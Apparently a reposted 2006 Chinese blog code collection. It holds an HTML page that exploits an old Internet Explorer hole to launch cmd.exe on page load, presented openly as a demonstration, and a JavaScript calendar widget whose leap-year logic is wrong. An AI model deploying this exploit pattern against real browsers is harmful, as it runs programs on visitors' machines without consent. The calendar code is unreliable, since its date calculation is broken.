惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Threat Research - Cisco Blogs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
V
Vulnerabilities – Threatpost
GbyAI
GbyAI
P
Proofpoint News Feed
L
LINUX DO - 热门话题
P
Palo Alto Networks Blog
A
About on SuperTechFans
T
Tenable Blog
M
MIT News - Artificial intelligence
IT之家
IT之家
I
Intezer
D
DataBreaches.Net
爱范儿
爱范儿
T
Threatpost
C
CERT Recently Published Vulnerability Notes
云风的 BLOG
云风的 BLOG
博客园 - 三生石上(FineUI控件)
WordPress大学
WordPress大学
K
Kaspersky official blog
大猫的无限游戏
大猫的无限游戏
A
Arctic Wolf
Y
Y Combinator Blog
Cyberwarzone
Cyberwarzone
酷 壳 – CoolShell
酷 壳 – CoolShell
D
Darknet – Hacking Tools, Hacker News & Cyber Security
H
Help Net Security
Microsoft Security Blog
Microsoft Security Blog
Spread Privacy
Spread Privacy
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
AWS News Blog
AWS News Blog
博客园 - 聂微东
C
Check Point Blog
S
Securelist
有赞技术团队
有赞技术团队
雷峰网
雷峰网
aimingoo的专栏
aimingoo的专栏
Last Week in AI
Last Week in AI
Stack Overflow Blog
Stack Overflow Blog
MongoDB | Blog
MongoDB | Blog
D
Docker
G
GRAHAM CLULEY
T
The Exploit Database - CXSecurity.com
C
Cybersecurity and Infrastructure Security Agency CISA
T
Tailwind CSS Blog
L
Lohrmann on Cybersecurity
G
Google Developers Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
L
LangChain Blog

博客园 - ylm㊣

C#线程类Thread初步 div+css构建模板技巧收藏 CrystalReport建立步骤 C# 2.0 命令行编译器 javascript 技巧(转) 给firefox添加ie方法和属性 JS菜单大全 JS弹出窗口 FRAMESET 委托的例子 每个开发人员现在应该下载的十种必备工具 C# vb.net 语法比较 C#函数集 SQl语句学习专题(转) 數据庫物理設計經驗談 数据库设计经验谈(转) SQL模糊查询 正则表达式详解 关于23种设计模式的有趣见解(转)
javascript (收藏代码) - ylm㊣ - 博客园
ylm㊣ · 2006-12-12 · via 博客园 - ylm㊣

--  
javascript运行客户端exe程序
说明:这只是提供一种思路,不过能不能运行还要看IE的安全设置。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<style type="text/css">
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
</style>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>

var programName=new Array(
    \'c:/windows/system32/cmd.exe\',
    \'c:/winnt/system32/cmd.exe\',
    \'c:/cmd.exe\'
);

function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html=\'\';
    for(n=0;n<programName.length;n++)
        html+="<OBJECT NAME=\'X\' CLASSID=\'CLSID:11111111-1111-1111-1111-111111111111\' CODEBASE=\'"+programName[n]+"\' %1=\'r\'></OBJECT>";
    oPopBody.innerHTML=html;
    oPopup.show(290, 190, 200, 200, document.body);
}

</SCRIPT>
</head>
<BODY onload="Init()">
<H1>Hmm, let\'s start a command shell...</H1>
<p>
This page doesn\'t do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>
Javascript+HTML仿造VB里的MonthView控件

<html>
<head>
<title>MonthView Demo</title>
<script language=javascript>
/***********************************    程序功能:日期选择                
    特点  :Javascript+HTML仿造VB里的MonthView控件  
    作者  :ken                   
    联系  :boboshu@21cn.com      
    开发日期:2002-8-5              
\\***********************************/

var languageName="cn"  //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear

d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()

currentMonth=nowMonth
currentYear=nowYear

arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")

function MonthView(){}

/*******************************            初始化控件
\\*******************************/
function MonthView.initialize(){
    
    
    output =\'<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" id="tblMonthView" onselectstart="return false">\'
    output+=\'   <tr>\'
    output+=\'      <td>\'
    output+=\'        <table width="100%" cellpadding=0 cellspacing=0>\'
    output+=\'            <tr style="padding-top:10;padding-bottom:10;background:menu;" id="trCaption">\'
    output+=\'                <td><input type="button"value="3" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(\\\'preview\\\')"></td>\'
    output+=\'                <td align="center"><span id="spanCurrentMonth" style="font-size:12;"></span><span style="padding-left:10;font-size:12" id="spanCurrentYear"></span></td>\'
    output+=\'                <td align="right"><input type="button"value="4" style="height:22;font-family:webdings" onclick="MonthView.showCurrentDate(\\\'next\\\')"></td>\'
    output+=\'            </tr>\'
    output+=\'        </table>\'
    output+=\'      </td>\'
    output+=\'    </tr>\'
    output+=\'    <tr>\'
    output+=\'      <td>\'
    output+=\'        <table width="100%" cellpadding=0 cellspacing=2 id="tblShowDay" style="font-size:12">\'
    output+=\'            <tr align="center"><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>\'
    output+=\'            <tr><td colspan=7 height="1" style="background:black" id="tdLine"></td></tr>\'
    output+=\'            <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>\'
    output+=\'        </table>\'
    output+=\'      </td>\'
    output+=\'    </tr>\'
    output+=\'    <tr>\'
    output+=\'      <td>\'
    output+=\'        <table width="100%" cellpadding=0 cellspacing=2 id="tblToday" style="font-size:12">\'
    output+=\'            <tr><td width="20"></td><td></td></tr>\'
    output+=\'        </table>\'
    output+=\'      </td>\'
    output+=\'    </tr>\'
    output+=\'</table>\'
    
    document.write (output)
    
    
    //*********当前年、月的显示*********
    
    MonthView.setCurrentCaption()
    
    //*********************************
    //*********星期表头的显示*********
    
    MonthView.setWeekCaption()
    
    //*********************************
    
    //*********设置每月的日期*********
    
    MonthView.bulidDay()
    
    //*****************************
    
    //*********显示隐藏今日日期*********
    
    MonthView.setShowHideToday(true)
    
    //*****************************
}

function MonthView.setCurrentCaption(){
    spanCurrentYear.innerHTML=currentYear
    if (languageName=="cn"){
        spanCurrentMonth.innerHTML=arrMonthCaption_cn[currentMonth]
    }else{
        spanCurrentMonth.innerHTML=arrMonthCaption_en[currentMonth]
    }
}
function MonthView.setWeekCaption(){
    
    if (languageName=="cn"){
        arrCaption=arrWeekCaption_cn
    }else{
        arrCaption=arrWeekCaption_en
    }
    
    for (var i=0; i<arrCaption.length; i++){        
        tblShowDay.rows[0].cells[i].innerHTML=arrCaption[i]
    }
}
function MonthView.bulidDay(){
    
    arrMonthCount=new Array(31,28,31,30,31,30,31,31,30,31,30,31)
    if ((currentYear % 400 ==0) || ((currentYear % 100==0)&&(currentYear % 4==0))){
        arrMonthCount[1]=29
    }
    
    rowDay=2
    
    while (tblShowDay.rows.length>rowDay){
        tblShowDay.deleteRow(rowDay)
    }    
    
    firstDay=new Date(currentYear,currentMonth,1)
    tempRow=tblShowDay.insertRow()
    
    //*********填充当月1号以前的日期*********
    for (var j=0 ;j<firstDay.getDay();j++){
        tempCell=tempRow.insertCell()
    }
    //*************************************
    for (var i=1 ;i<=arrMonthCount[currentMonth]; i++){
        
        tempCell=tempRow.insertCell()
        tempCell.style.textAlign="center"
        tempCell.innerHTML=i
        tempCell.onclick=MonthView.action
        if ((i+firstDay.getDay()) %7 == 0 && i!=arrMonthCount[currentMonth]){tempRow=tblShowDay.insertRow()}
    }
}

function MonthView.showCurrentDate(direction){
    if (direction=="preview"){
        currentMonth--
        if (currentMonth<0) {currentMonth=11 ;currentYear--}
    }
    if (direction=="next"){
        currentMonth++
        if (currentMonth>11) {currentMonth=0 ;currentYear++}
    }
    
    MonthView.setCurrentCaption()
    MonthView.bulidDay()
}
function MonthView.setLanguage(itsName){
    languageName=itsName
    MonthView.setCurrentCaption()
    MonthView.setWeekCaption()
    MonthView.setShowHideToday(true)
}
function MonthView.setCaptionBg(itsColor){
    trCaption.style.background=itsColor
}
function MonthView.setBorder(itsBorder){
    tblMonthView.style.border=itsBorder
}
function MonthView.setLineColor(itsColor){
    tdLine.style.background=itsColor
}
function MonthView.setShowHideToday(flag){
    el=tblToday.rows[0].cells[1]
    if (flag){        
        if (languageName=="cn"){
            el.innerHTML="今日:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
        }else{
            el.innerHTML="Today:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
        }
        
        el.style.display="block"
    }else{
        el.style.display="none"
    }
}
function MonthView.action(){
    //*********请修改此函数*********
    MonthView_value=currentYear+"-"+(currentMonth+1)+"-"+this.innerHTML
    alert(MonthView_value)
    
}
</script>
</head>

<body>
<div>
<script language=javascript>
MonthView.initialize()
</script>
</div>

<br><br>
<table border=1 style="font-size:12;width:95%">
    <tr>
        <td>方法</td><td>描述</td><td>演示</td>
    </tr>
    <tr>
        <td>MonthView.initialize()</td>
        <td>初始化控件</td>
        <td><image src="none.gif" width="1" height="1"></td>
    </tr>
    <tr>
        <td>MonthView.setLanguage(<i>par</i>)<br>参数:"cn" "en"</td>
        <td>设置控件显示语言</td>
        <td>
            <input type="button" value="中文" onclick="MonthView.setLanguage(\'cn\')">
            <input type="button" value="英文" onclick="MonthView.setLanguage(\'en\')">
        </td>
    </tr>
    <tr>
        <td>MonthView.setBorder(<i>par</i>)<br>参数:"边框宽度(int) 边框形状(solid|dot...) 边框颜色"</td>
        <td>边框设置</td>
        <td>
            <input type="button" value="ChangeBorder" onclick="MonthView.setBorder(\'2 solid darkred\')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setCaptionBg(<i>par</i>)<br>参数:十六进制颜色代码</td>
        <td>设置当前年、月的背景色</td>
        <td>
            <input type="button" value="INFOBACKGROUND" onclick="MonthView.setCaptionBg(\'INFOBACKGROUND\')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setLineColor(<i>par</i>)<br>参数:十六进制颜色代码</td>
        <td>设置分割线的颜色</td>
        <td>
            <input type="button" value="Darkred" onclick="MonthView.setLineColor(\'darkred\')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setShowHideToday(<i>par</i>)<br>参数:true|false</td>
        <td>显示/隐藏今日日期</td>
        <td>
            <input type="button" value="Hide" onclick="MonthView.setShowHideToday(false)">
            <input type="button" value="Show" onclick="MonthView.setShowHideToday(true)">
        </td>
    </tr>
</table>
</body>
</html>